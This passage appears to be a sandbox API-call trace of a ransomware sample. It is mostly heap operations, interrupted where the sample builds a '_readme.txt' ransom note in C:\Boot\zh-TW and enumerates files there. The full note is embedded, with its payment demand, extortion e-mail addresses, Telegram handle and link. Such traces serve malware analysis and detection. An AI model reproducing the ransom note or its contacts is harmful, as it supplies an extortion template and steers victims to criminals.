Size=0x820) returned 0x3306ed0 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.723] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.723] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.724] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.725] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.725] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.726] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.726] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.727] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.727] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.727] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.727] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.727] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.727] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.727] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.727] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.727] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.727] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.727] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0112.727] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.727] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.727] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.727] PathFindFileNameW (pszPath="") returned="" [0112.727] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.727] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.727] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.727] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.728] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.728] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.728] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.728] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0112.728] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0112.728] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.728] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.728] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.728] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.728] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.728] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.728] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.728] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.728] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.728] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.728] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.729] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.729] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.729] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.729] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 